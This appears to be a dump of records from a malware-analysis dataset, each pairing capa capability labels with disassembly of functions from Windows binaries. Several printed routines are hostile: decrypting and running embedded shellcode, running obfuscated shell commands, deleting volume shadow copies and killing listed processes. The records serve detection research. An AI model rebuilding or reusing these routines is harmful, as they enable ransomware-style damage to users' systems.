joyce8/EMBER2024-capa huggingface dataset:
Function at 0x18008db30
Capabilities:
Send data
Send data on socket

Disassembly:
cmp edx, 0x1f
jne 0x18008dcd8
push rbp
push rdi
push r14
sub rsp, 0x20
mov rbp, qword [rcx]
mov r14, rcx
mov qword [rsp + 0x40], rbx
mov qword [rsp + 0x50], rsi
mov qword [rsp + 0x58], r15
mov rdi, qword [rbp + 0x1e0]
lea rsi, [rdi + 0x1cb8]
lea rbx, [rdi + 0x1eb8]
mov qword [rbx], rsi
cmp rsi, rbx
jae 0x18008db95
lea rax, [rsi + 1]
mov byte [rsi], 0xff
mov qword [rbx], rax
cmp rax, rbx
jae 0x18008db95
mov byte [rax], 0xfa
inc qword [rbx]
mov rax, qword [rbx]
cmp rax, rbx
jae 0x18008db95
mov byte [rax], dl
inc qword [rbx]
movzx ecx, word [rdi + 0x1ca8]
call qword [sym.imp.WS2_32.dll_htons]
movzx ecx, word [rdi + 0x1caa]
movzx r15d, ax
mov word [rsp + 0x48], ax
call qword [sym.imp.WS2_32.dll_htons]
mov r9, qword [rbx]
movzx ecx, ax
cmp r9, rbx
jae 0x18008dbcc
mov byte [r9], r15b
inc qword [rbx]
mov r9, qword [rbx]
mov r15, qword [rsp + 0x58]
cmp r9, rbx
jae 0x18008dc22
movzx eax, byte [rsp + 0x49]
mov byte [r9], al
inc qword [rbx]
mov r9, qword [rbx]
cmp r9, rbx
jae 0x18008dc22
mov byte [r9], cl
inc qword [rbx]
mov r9, qword [rbx]
cmp r9, rbx
jae 0x18008dc22
shr cx, 8
mov byte [r9], cl
inc qword [rbx]
mov r9, qword [rbx]
cmp r9, rbx
jae 0x18008dc22
mov byte [r9], 0xff
inc qword [rbx]
mov r9, qword [rbx]
cmp r9, rbx
jae 0x18008dc22
mov byte [r9], 0xf0
mov r9, qword [rbx]
inc r9
mov qword [rdi + 0x1ec0], r9
lea r8, [rdi + 0x1cba]
sub r9, rsi
mov qword [rbx], rsi
sub r9, 2
mov edx, 0x3e
mov rcx, rbp
call fcn.18008d5e0
mov rcx, qword [r14 + 0x4c0]
xor r9d, r9d
mov rdx, rsi
lea r8d, [r9 + 3]
call qword [sym.imp.WS2_32.dll_send]
mov rsi, qword [rsp + 0x50]
mov rbx, qword [rsp + 0x40]
test eax, eax
jns 0x18008dc84
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
lea rdx, str.Sending_data_failed___d_
mov rcx, rbp
mov r8d, eax
call fcn.180068e00
lea rdx, [rdi + 0x1cbb]
mov r8d, 4
mov rcx, r14
call fcn.18008d9b0
mov rcx, qword [r14 + 0x4c0]
lea rdx, [rdi + 0x1cbf]
xor r9d, r9d
lea r8d, [r9 + 2]
call qword [sym.imp.WS2_32.dll_send]
test eax, eax
jns 0x18008dcd0
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
lea rdx, str.Sending_data_failed___d_
mov rcx, rbp
mov r8d, eax
call fcn.180068e00
add rsp, 0x20
pop r14
pop rdi
pop rbp
ret
Function at 0x18008f440
Capabilities:
Receive data
Receive data on socket

Disassembly:
push rbx
push rdi
push r14
sub rsp, 0xd0
mov rax, qword [0x1800cf080]
xor rax, rsp
mov qword [rsp + 0xc0], rax
mov rbx, qword [rcx + 0xa00]
lea rax, [rsp + 0x30]
mov rdi, qword [rcx]
mov r14, rcx
mov dword [rsp + 0x30], 0x80
xor r9d, r9d
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x40]
mov r8d, dword [rbx + 0x15c]
mov rdx, qword [rbx + 0x168]
add r8d, 4
mov rcx, qword [rbx + 0x18]
mov qword [rsp + 0x20], rax
call qword [sym.imp.WS2_32.dll_recvfrom]
cmp dword [rbx + 0x150], 0
mov dword [rbx + 0x154], eax
jne 0x18008f4d5
movsxd r8, dword [rsp + 0x30]
lea rcx, [rbx + 0xd0]
lea rdx, [rsp + 0x40]
call sub.VCRUNTIME140.dll_memcpy
mov eax, dword [rsp + 0x30]
mov dword [rbx + 0x150], eax
mov r8d, dword [rbx + 0x154]
mov qword [rsp + 0xf8], rbp
mov qword [rsp + 0x100], rsi
cmp r8d, 4
jge 0x18008f536
lea rdx, str.Received_too_short_packet
mov rcx, rdi
call fcn.180068e00
mov dword [rbx + 0xc], 7
xor eax, eax
mov rsi, qword [rsp + 0x100]
mov rbp, qword [rsp + 0xf8]
mov rcx, qword [rsp + 0xc0]
xor rcx, rsp
call fcn.1800a3df0
add rsp, 0xd0
pop r14
pop rdi
pop rbx
ret
mov rdx, qword [rbx + 0x168]
movzx eax, byte [rdx]
movzx ecx, byte [rdx + 1]
shl eax, 8
or ecx, eax
mov dword [rbx + 0xc], ecx
sub ecx, 3
je 0x18008f5f1
sub ecx, 1
je 0x18008f664
sub ecx, 1
je 0x18008f5a0
cmp ecx, 1
je 0x18008f583
lea r8, str.Internal_error:_Unexpected_packet
mov rcx, rdi
lea rdx, [0x1800b3b64]
call fcn.180068e00
jmp 0x18008f664
add r8d, 0xfffffffe
add rdx, 2
mov rcx, rbx
call fcn.18008f170
test eax, eax
je 0x18008f664
jmp 0x18008f50a
movzx ecx, byte [rdx + 2]
lea eax, [r8 - 4]
movsxd rbp, eax
lea rsi, [rdx + 4]
movzx eax, byte [rdx + 3]
mov r8, rbp
shl ecx, 8
xor edx, edx
or ecx, eax
mov dword [rbx + 8], ecx
mov rcx, rsi
call sub.VCRUNTIME140.dll_memchr
test rax, rax
je 0x18008f664
sub rax, rsi
cmp rax, rbp
jae 0x18008f664
mov r8, rsi
lea rdx, str.TFTP_error:__s_n
mov rcx, rdi
call fcn.180068f80
jmp 0x18008f664
cmp r8d, 4
jle 0x18008f664
movzx eax, byte [rdx + 3]
movzx ecx, byte [rdx + 2]
shl ecx, 8
or ecx, eax
movzx eax, word [rbx + 0x48]
inc eax
movzx eax, ax
cmp eax, ecx
jne 0x18008f664
lea eax, [r8 - 4]
mov rcx, r14
lea r8, [rdx + 4]
movsxd r9, eax
mov edx, 1
call fcn.180068d20
mov esi, eax
test eax, eax
je 0x18008f643
mov edx, 5
mov rcx, rbx
call fcn.180090130
mov eax, esi
jmp 0x18008f50a
mov eax, dword [rbx + 0x154]
mov rcx, rdi
sub eax, 4
cdqe
add qword [rdi + 0xf8], rax
mov rdx, qword [rdi + 0xf8]
call fcn.180076df0
mov rcx, r14
call fcn.1800770d0
test eax, eax
je 0x18008f508
mov edx, 5
mov rcx, rbx
call fcn.180090130
mov eax, Ordinal_45
jmp 0x18008f50a
Function at 0x1800a3860
Capabilities:
Authenticate hmac
Encode data using xor

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rdi
push r14
sub rsp, 0x20
mov eax, dword [rcx + 0x18]
mov rbx, rcx
mov ebp, r8d
mov r14, rdx
lea ecx, [rax + rax]
mov eax, dword [rbx + 0x20]
add rax, 0x18
add rcx, rax
call qword [section..data]
mov rdi, rax
test rax, rax
jne 0x1800a38a2
mov rbx, qword [rsp + 0x50]
add rsp, 0x20
pop r14
pop rdi
pop rbp
ret
lea rcx, [rax + 0x18]
mov qword [rax], rbx
mov qword [rax + 8], rcx
mov eax, dword [rbx + 0x18]
add rax, rcx
mov qword [rsp + 0x48], rsi
mov qword [rdi + 0x10], rax
cmp ebp, dword [rbx + 0x1c]
jbe 0x1800a38e9
call qword [rbx]
mov rcx, qword [rdi + 8]
mov r8d, ebp
mov rdx, r14
call qword [rbx + reloc.WS2_32.dll_htonl]
mov r14d, dword [rbx + 0x18]
add r14, qword [rdi + 0x10]
mov rdx, qword [rdi + 8]
mov rcx, r14
call qword [rbx + reloc.WS2_32.dll_recv]
mov rcx, qword [rdi + 8]
mov ebp, dword [rbx + 0x20]
call qword [rbx]
mov rcx, qword [rdi + 0x10]
call qword [rbx]
xor esi, esi
test rbp, rbp
je 0x1800a3942
mov rsi, rbp
nop dword [rax + rax]
movzx eax, byte [r14]
lea rdx, [rsp + 0x40]
xor al, 0x36
mov r8d, 1
mov byte [rsp + 0x40], al
mov rcx, qword [rdi + 8]
call qword [rbx + reloc.WS2_32.dll_htonl]
movzx eax, byte [r14]
lea rdx, [rsp + 0x40]
xor al, 0x5c
lea r14, [r14 + 1]
mov byte [rsp + 0x40], al
mov r8d, 1
mov rcx, qword [rdi + 0x10]
call qword [rbx + reloc.WS2_32.dll_htonl]
sub rbp, 1
jne 0x1800a3900
mov eax, dword [rbx + 0x1c]
cmp rsi, rax
jae 0x1800a3983
nop word [rax + rax]
mov rcx, qword [rdi + 8]
lea rdx, [0x1800b3982]
mov r8d, 1
call qword [rbx + reloc.WS2_32.dll_htonl]
mov rcx, qword [rdi + 0x10]
lea rdx, [0x1800b3983]
mov r8d, 1
call qword [rbx + reloc.WS2_32.dll_htonl]
mov eax, dword [rbx + 0x1c]
inc rsi
cmp rsi, rax
jb 0x1800a3950
mov rsi, qword [rsp + 0x48]
mov rax, rdi
mov rbx, qword [rsp + 0x50]
add rsp, 0x20
pop r14
pop rdi
pop rbp
ret

Function at 0x1800a4a08
Capabilities:
Get geographical location

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x40
mov rbx, rdx
lea r8, [rsp + 0x60]
mov edi, ecx
mov edx, 0x20000001
lea rcx, str._x_sys_default_locale
mov r9d, 2
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoEx]
test eax, eax
jne 0x1800a4a42
xor r9d, r9d
mov dword [rsp + 0x60], r9d
jmp 0x1800a4a47
mov r9d, dword [rsp + 0x60]
and qword [rsp + 0x30], 0
mov r8d, edi
and dword [rsp + 0x28], 0
xor edx, edx
mov ecx, 0x1300
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_FormatMessageA]
mov edx, eax
test eax, eax
je 0x1800a4a90
mov r8, qword [rbx]
dec r8
add r8, rdx
movzx ecx, byte [r8]
lea rax, reloc.WS2_32.dll_accept
cmp byte [rcx + rax], 0
je 0x1800a4a90
dec r8
sub rdx, 1
jne 0x1800a4a76
mov rbx, qword [rsp + 0x50]
mov rax, rdx
add rsp, 0x40
pop rdi
ret
Function at 0x140001e40
Capabilities:
Contain obfuscated stackstrings
Execute command

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x420]
sub rsp, 0x520
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x410], rax
mov r8d, 0x104
lea rdx, [rbp - 0x10]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
xor r13d, r13d
mov qword [rsp + 0x40], r13
mov qword [rsp + 0x38], r13
mov qword [rsp + 0x30], 0x104
lea rax, [rbp + 0x200]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], r13
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [rbp - 0x10]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll__wsplitpath_s]
mov dword [rsp + 0x50], 0x750062
mov dword [rsp + 0x54], 0x730075
mov dword [rsp + 0x58], 0x63006a
mov dword [rsp + 0x5c], 0x2c0021
mov dword [rsp + 0x60], 0x210069
mov dword [rsp + 0x64], 0x420026
mov dword [rsp + 0x68], 0x510051
mov dword [rsp + 0x6c], 0x420045
mov dword [rsp + 0x70], 0x5d0026
mov dword [rsp + 0x74], 0x6a004e
mov dword [rsp + 0x78], 0x730064
mov dword [rsp + 0x7c], 0x740070
mov dword [rbp - 0x80], 0x670070
mov dword [rbp - 0x7c], 0x5d0075
mov dword [rbp - 0x78], 0x6a0058
mov dword [rbp - 0x74], 0x65006f
mov dword [rbp - 0x70], 0x780070
mov dword [rbp - 0x6c], 0x5d0074
mov dword [rbp - 0x68], 0x750054
mov dword [rbp - 0x64], 0x730062
mov dword [rbp - 0x60], 0x210075
mov dword [rbp - 0x5c], 0x66004e
mov dword [rbp - 0x58], 0x76006f
mov dword [rbp - 0x54], 0x51005d
mov dword [rbp - 0x50], 0x700073
mov dword [rbp - 0x4c], 0x730068
mov dword [rbp - 0x48], 0x6e0062
mov dword [rbp - 0x44], 0x5d0074
mov dword [rbp - 0x40], 0x750054
mov dword [rbp - 0x3c], 0x730062
mov dword [rbp - 0x38], 0x760075
mov dword [rbp - 0x34], 0x5d0071
lea rdx, [0x140005498]
lea rcx, [rbp - 0x30]
call fcn.140002b10
nop
mov ebx, r13d
nop dword [rax]
nop word [rax + rax]
movzx r9d, word [rsp + rbx*2 + 0x50]
dec r9w
mov rcx, qword [rbp - 0x20]
mov rdx, qword [rbp - 0x18]
cmp rcx, rdx
jae 0x140002009
lea rax, [rcx + 1]
mov qword [rbp - 0x20], rax
lea rax, [rbp - 0x30]
cmp rdx, 7
cmova rax, qword [rbp - 0x30]
mov word [rax + rcx*2], r9w
mov word [rax + rcx*2 + 2], r13w
jmp 0x140002012
lea rcx, [rbp - 0x30]
call fcn.140003150
inc rbx
cmp rbx, 0x3f
jb 0x140001fd0
lea rdx, [rbp + 0x200]
lea rcx, [rbp - 0x30]
call fcn.140002cb0
lea rcx, [rbp - 0x30]
cmp qword [rbp - 0x18], 7
cmova rcx, qword [rbp - 0x30]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wsystem]
nop
mov rdx, qword [rbp - 0x18]
cmp rdx, 7
jbe 0x140002083
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000207e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000207e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140003e18
mov rcx, qword [rbp + 0x410]
xor rcx, rsp
call fcn.140003c40
lea r11, [rsp + 0x520]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
Function at 0x140003900
Capabilities:
Execute command

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x70
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x68], rax
mov rax, rdx
mov rdi, rcx
mov qword [rsp + 0x40], rcx
xor esi, esi
mov r8, qword [rdx + 0x10]
cmp qword [rdx + 0x18], 0xf
jbe 0x140003939
mov rax, qword [rdx]
cmp r8, 6
jne 0x140003a6c
lea rdx, str.apagar
mov rcx, rax
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x140003a6c
movdqa xmm0, xmmword [str.tivuepxo_0t_0u_1dszqupcsp_evdleo_]
movdqu xmmword [rsp + 0x28], xmm0
mov byte [rsp + 0x38], 1
xorps xmm0, xmm0
movups xmmword [rsp + 0x48], xmm0
mov qword [rsp + 0x58], rsi
mov qword [rsp + 0x60], rsi
xor r8d, r8d
lea rdx, [0x140005490]
lea rcx, [rsp + 0x48]
call fcn.140003050
nop
mov rbx, rsi
nop word [rax + rax]
movzx r9d, byte [rsp + rbx + 0x28]
dec r9b
mov rcx, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x60]
cmp rcx, rdx
jae 0x1400039db
lea rax, [rcx + 1]
mov qword [rsp + 0x58], rax
lea rax, [rsp + 0x48]
cmp rdx, 0xf
cmova rax, qword [rsp + 0x48]
mov byte [rax + rcx], r9b
mov byte [rax + rcx + 1], 0
jmp 0x1400039e5
lea rcx, [rsp + 0x48]
call fcn.140003ac0
inc rbx
cmp rbx, 0x10
jb 0x1400039a0
lea rcx, [rsp + 0x48]
cmp qword [rsp + 0x60], 0xf
cmova rcx, qword [rsp + 0x48]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
nop
mov rdx, qword [rsp + 0x60]
cmp rdx, 0xf
jbe 0x140003a46
inc rdx
mov rcx, qword [rsp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003a41
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140003a41
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140003e18
xorps xmm0, xmm0
movups xmmword [rdi], xmm0
mov qword [rdi + 0x10], rsi
mov qword [rdi + 0x18], rsi
mov r8, 0xffffffffffffffff
nop dword [rax + rax]
inc r8
cmp byte [rsi + r8], 0
jne 0x140003a60
jmp 0x140003a8a
xorps xmm0, xmm0
movups xmmword [rdi], xmm0
mov qword [rdi + 0x10], rsi
mov qword [rdi + 0x18], rsi
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rsi + r8], sil
jne 0x140003a81
xor edx, edx
mov rcx, rdi
call fcn.140003050
mov rax, rdi
mov rcx, qword [rsp + 0x68]
xor rcx, rsp
call fcn.140003c40
lea r11, [rsp + 0x70]
mov rbx, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rsp, r11
pop rdi
ret

Function at 0x1400045f4
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14000463e
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14000463e
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14000463e
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14000463e
cmp dword [rcx + 0x84], 0xe
jbe 0x14000463e
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140004640
xor al, al
add rsp, 0x28
ret
Function at 0x140001070
Capabilities:
Encrypt or decrypt data via bcrypt

Disassembly:
push rbx
push rbp
push rsi
push r14
push r15
sub rsp, 0x80
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x70], rax
mov rsi, qword [rsp + 0xd0]
lea rdx, [0x1400032b0]
mov rbx, qword [rsp + 0xd8]
lea rcx, [rsp + 0x50]
xor r15d, r15d
mov r14, r9
mov rbp, r8
mov qword [rsp + 0x50], r15
xor r9d, r9d
mov qword [rsp + 0x60], r15
xor r8d, r8d
mov dword [rsp + 0x68], r15d
call qword [sym.imp.bcrypt.dll_BCryptOpenAlgorithmProvider]
test eax, eax
js 0x14000127b
mov rcx, qword [rsp + 0x50]
lea r8, str.ChainingModeCBC
mov r9d, 0x20
mov dword [rsp + 0x20], r15d
lea rdx, str.ChainingMode
call qword [sym.imp.bcrypt.dll_BCryptSetProperty]
test eax, eax
js 0x140001259
mov rcx, qword [rsp + 0x50]
lea rax, [rsp + 0x6c]
mov dword [rsp + 0x28], r15d
lea r8, [rsp + 0x58]
mov r9d, 4
mov qword [rsp + 0x20], rax
lea rdx, str.ObjectLength
call qword [sym.imp.bcrypt.dll_BCryptGetProperty]
test eax, eax
js 0x140001259
mov ecx, dword [rsp + 0x58]
mov qword [rsp + 0xb0], rdi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rdi, rax
test rax, rax
je 0x140001251
mov r9d, dword [rsp + 0x58]
lea rdx, [rsp + 0x60]
mov rcx, qword [rsp + 0x50]
mov r8, rax
mov dword [rsp + 0x30], r15d
mov dword [rsp + 0x28], 0x20
mov qword [rsp + 0x20], rbp
call qword [sym.imp.bcrypt.dll_BCryptGenerateSymmetricKey]
test eax, eax
js 0x140001248
mov rcx, qword [rsp + 0x50]
lea rax, [rsp + 0x6c]
mov dword [rsp + 0x28], r15d
lea r8, [rsp + 0x68]
mov r9d, 4
mov qword [rsp + 0x20], rax
lea rdx, str.BlockLength
call qword [sym.imp.bcrypt.dll_BCryptGetProperty]
test eax, eax
js 0x140001251
cmp dword [rsp + 0x68], 0x10
jne 0x140001251
mov ecx, 0x8fd0
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov qword [rbx], rax
test rax, rax
je 0x140001248
mov rcx, qword [rsp + 0x60]
lea rdx, [0x140005080]
mov dword [rsp + 0x48], r15d
xor r9d, r9d
mov qword [rsp + 0x40], rsi
mov r8d, 0x8fd0
mov dword [rsp + 0x38], 0x8fd0
mov qword [rsp + 0x30], rax
mov eax, dword [rsp + 0x68]
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], r14
call qword [sym.imp.bcrypt.dll_BCryptDecrypt]
test eax, eax
jns 0x140001229
mov rcx, qword [rbx]
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov qword [rbx], r15
jmp 0x140001251
mov rcx, qword [rsi]
test rcx, rcx
je 0x140001251
mov rax, qword [rbx]
movzx edx, byte [rax + rcx - 1]
lea eax, [rdx - 1]
cmp al, 0xf
ja 0x140001251
sub rcx, rdx
mov qword [rsi], rcx
jmp 0x140001251
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov rdi, qword [rsp + 0xb0]
mov rcx, qword [rsp + 0x60]
test rcx, rcx
je 0x140001269
call qword [sym.imp.bcrypt.dll_BCryptDestroyKey]
mov rcx, qword [rsp + 0x50]
test rcx, rcx
je 0x14000127b
xor edx, edx
call qword [sym.imp.bcrypt.dll_BCryptCloseAlgorithmProvider]
mov rcx, qword [rsp + 0x70]
xor rcx, rsp
call fcn.1400013b0
add rsp, 0x80
pop r15
pop r14
pop rsi
pop rbp
pop rbx
ret
Function at 0x1400012a0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
mov qword [rsp + 8], rbx
push rbp
mov rbp, rsp
sub rsp, 0x80
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp - 0x10], rax
lea rax, [rbp - 0x50]
mov dword [rbp - 0x30], 0x9c19c864
mov qword [rsp + 0x28], rax
lea r9, [rbp - 0x40]
lea rax, [rbp - 0x48]
mov dword [rbp - 0x2c], 0xd1085dc
lea r8, [rbp - 0x30]
mov qword [rsp + 0x20], rax
mov dword [rbp - 0x28], 0x819f1b98
mov dword [rbp - 0x24], 0x3e764dac
mov dword [rbp - 0x20], 0xb277bd1a
mov dword [rbp - 0x1c], 0xfb360430
mov dword [rbp - 0x18], 0xefdcb13
mov dword [rbp - 0x14], 0x6b91c02a
mov dword [rbp - 0x40], 0x3b27eed0
mov dword [rbp - 0x3c], 0xd74ccf05
mov dword [rbp - 0x38], 0xaba6cc2e
mov dword [rbp - 0x34], 0xd5f4dd73
mov qword [rbp - 0x50], 0
call fcn.140001070
mov rbx, qword [rbp - 0x50]
test rbx, rbx
je 0x140001374
mov rdx, qword [rbp - 0x48]
lea r9, [rbp - 0x50]
mov r8d, 0x40
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rbx
mov rdx, qword [rbp - 0x48]
lea rcx, [0x140003330]
call fcn.140001010
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
xor eax, eax
mov rcx, qword [rbp - 0x10]
xor rcx, rsp
call fcn.1400013b0
mov rbx, qword [rsp + 0x90]
add rsp, 0x80
pop rbp
ret

Function at 0x140001c70
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140001cba
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140001cba
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140001cba
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140001cba
cmp dword [rcx + 0x84], 0xe
jbe 0x140001cba
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140001cbc
xor al, al
add rsp, 0x28
ret
Function at 0x140004d30
Capabilities:
Create process on windows
Delete volume shadow copies

Disassembly:
sub rsp, 0x48
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], 0
call fcn.140004cb0
test eax, eax
je 0x140004d7e
lea rcx, [0x1400016b8]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
lea rdx, [0x1400016c8]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x140004d7e
lea rcx, [rsp + 0x30]
call rax
mov dword [rsp + 0x28], 0
lea r9, [0x1400016f0]
lea r8, [0x140001748]
mov qword [rsp + 0x20], 0
lea rdx, [0x140001758]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
call fcn.140004cb0
test eax, eax
je 0x140004dde
lea rcx, [0x1400016b8]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
lea rdx, [0x140001768]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x140004dde
mov rcx, qword [rsp + 0x30]
call rax
mov rcx, qword [rsp + 0x38]
xor rcx, rsp
call fcn.14000dfa0
add rsp, 0x48
ret
Function at 0x1400050c0
Capabilities:
Enumerate processes
Terminate process

Disassembly:
push rsi
sub rsp, 0x270
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x260], rax
xor edx, edx
lea ecx, [rdx + 0xf]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
lea rdx, [rsp + 0x20]
mov dword [rsp + 0x20], 0x238
mov rcx, rax
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x1400051b8
mov qword [rsp + 0x280], rbx
mov qword [rsp + 0x288], rbp
lea rbp, [0x1400018e0]
mov qword [rsp + 0x290], rdi
nop word [rax + rax]
xor ebx, ebx
mov rdi, rbp
nop word [rax + rax]
mov rcx, qword [rdi]
lea rdx, [rsp + 0x4c]
call qword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
je 0x14000515f
inc ebx
add rdi, 8
cmp ebx, 0x1e
jb 0x140005140
jmp 0x14000518e
mov r8d, dword [rsp + 0x28]
xor edx, edx
lea ecx, [rdx + 1]
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
test rax, rax
je 0x14000518e
mov edx, 9
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, [rsp + 0x20]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x140005130
mov rdi, qword [rsp + 0x290]
mov rbp, qword [rsp + 0x288]
mov rbx, qword [rsp + 0x280]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x260]
xor rcx, rsp
call fcn.14000dfa0
add rsp, 0x270
pop rsi
ret

Function at 0x1400051e0
Capabilities:
Create new key via cryptacquirecontext

Disassembly:
sub rsp, 0x48
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x38], rax
mov r9d, 0x18
mov qword [rsp + 0x30], 0
xor r8d, r8d
mov dword [rsp + 0x20], 0xf0000000
xor edx, edx
lea rcx, [rsp + 0x30]
call qword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
test eax, eax
jne 0x140005252
lea r9d, [rax + 0x18]
mov dword [rsp + 0x20], 0xf0000008
xor r8d, r8d
lea rcx, [rsp + 0x30]
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
test eax, eax
jne 0x140005252
xor eax, eax
mov rcx, qword [rsp + 0x38]
xor rcx, rsp
call fcn.14000dfa0
add rsp, 0x48
ret
mov rax, qword [rsp + 0x30]
mov rcx, qword [rsp + 0x38]
xor rcx, rsp
call fcn.14000dfa0
add rsp, 0x48
ret
Function at 0x1400053c0
Capabilities:
Write file on windows

Disassembly:
push rbx
push rsi
push rdi
sub rsp, 0x60
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x50], rax
mov rdi, rcx
mov ebx, r8d
lea rcx, [0x14000f7d0]
mov rsi, rdx
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov r8d, ebx
lea rdx, [0x140003de0]
lea rcx, [rsp + 0x38]
call qword [sym.imp.USER32.dll_wsprintfA]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_lstrlenA]
mov rcx, qword [0x14000f7f8]
lea r9, [rsp + 0x30]
xor ebx, ebx
mov r8d, eax
mov rdx, rdi
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, qword [0x14000f7f8]
lea r9, [rsp + 0x30]
lea r8d, [rbx + 0xe]
mov qword [rsp + 0x20], rbx
lea rdx, [0x140003de8]
call qword [sym.imp.KERNEL32.dll_WriteFile]
lea rcx, [rsp + 0x38]
call qword [sym.imp.KERNEL32.dll_lstrlenA]
mov rcx, qword [0x14000f7f8]
lea r9, [rsp + 0x30]
mov r8d, eax
mov qword [rsp + 0x20], rbx
lea rdx, [rsp + 0x38]
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, qword [0x14000f7f8]
lea r9, [rsp + 0x30]
lea r8d, [rbx + 4]
mov qword [rsp + 0x20], rbx
lea rdx, [0x140003df8]
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_lstrlenA]
mov rcx, qword [0x14000f7f8]
lea r9, [rsp + 0x30]
mov r8d, eax
mov qword [rsp + 0x20], rbx
mov rdx, rsi
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, qword [0x14000f7f8]
lea r9, [rsp + 0x30]
lea r8d, [rbx + 2]
mov qword [rsp + 0x20], rbx
lea rdx, [0x140003e00]
call qword [sym.imp.KERNEL32.dll_WriteFile]
lea rcx, [0x14000f7d0]
